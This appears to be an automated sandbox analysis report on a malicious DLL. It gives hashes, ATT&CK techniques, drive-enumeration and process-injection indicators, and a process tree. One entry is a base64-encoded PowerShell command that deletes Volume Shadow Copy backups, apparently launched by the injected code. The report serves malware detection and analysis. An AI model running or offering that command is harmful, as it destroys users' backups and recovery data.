fbb58016f40bf8e8f58b0362be03df6a2c99eb7e6756a1978037cc8c6fcf2896

General

Target

fbb58016f40bf8e8f58b0362be03df6a2c99eb7e6756a1978037cc8c6fcf2896.dll
Size

115KB
MD5

5a793af84eae513aaa985bf8a161113d
SHA1

b06c5837fbf61e4c4274fede1d5622746ffe3dad
SHA256

fbb58016f40bf8e8f58b0362be03df6a2c99eb7e6756a1978037cc8c6fcf2896
SHA512

0db511708c11b5991bb9d2f6ef69ede9577fd89175f5c2b89c36785d40d2775453e13d33c644a55d6380c0605f3a5a1cf4a77baf2c02cf59d2786a369fafe5a6

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1532 rundll32.exe
592 powershell.exe

pid	process
1532	rundll32.exe
592	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1532	rundll32.exe
Token: SeDebugPrivilege	592	powershell.exe
Token: SeBackupPrivilege	980	vssvc.exe
Token: SeRestorePrivilege	980	vssvc.exe
Token: SeAuditPrivilege	980	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1592 wrote to memory of 1532	1592	rundll32.exe	rundll32.exe
PID 1532 wrote to memory of 592	1532	rundll32.exe	powershell.exe
PID 1532 wrote to memory of 592	1532	rundll32.exe	powershell.exe
PID 1532 wrote to memory of 592	1532	rundll32.exe	powershell.exe
PID 1532 wrote to memory of 592	1532	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fbb58016f40bf8e8f58b0362be03df6a2c99eb7e6756a1978037cc8c6fcf2896.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1592

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fbb58016f40bf8e8f58b0362be03df6a2c99eb7e6756a1978037cc8c6fcf2896.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:592

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:980

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/592-55-0x000007FEFC3C1000-0x000007FEFC3C3000-memory.dmp

Filesize
8KB

Download
memory/592-57-0x0000000002530000-0x0000000002532000-memory.dmp

Filesize
8KB

Download
memory/592-58-0x0000000002532000-0x0000000002534000-memory.dmp

Filesize
8KB

Download
memory/592-59-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/592-56-0x000007FEF3790000-0x000007FEF42ED000-memory.dmp

Filesize
11.4MB

Download
memory/592-60-0x000000000253B000-0x000000000255A000-memory.dmp

Filesize
124KB

Download
memory/1532-54-0x00000000766D1000-0x00000000766D3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads